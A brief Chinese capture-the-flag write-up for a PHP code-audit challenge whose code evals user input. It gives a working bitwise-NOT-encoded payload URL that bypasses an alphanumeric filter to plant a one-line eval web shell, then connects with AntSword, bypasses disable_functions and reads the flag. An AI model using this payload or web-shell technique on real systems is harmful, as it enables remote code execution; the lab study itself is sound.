打开就是一个代码审计:
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
用取反绕过preg_match,最终代码执行@eval(assert(eval($_REQUEST[8]));) 注意第一个eval(xxx;)里面的语句后需要一个分号
payload:
http://eca5c06e-d2c2-45f4-b9aa-9a74c0d5f851.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6);
这里有个坑,打开蚁剑第一次添加数据的时候由于有个分号蚁剑会报错,解决方法是先去掉分号,再修改数据,把分号加上去,就行了,然后使用插件绕过disable_functions。
打开终端输入/readflag,得到flag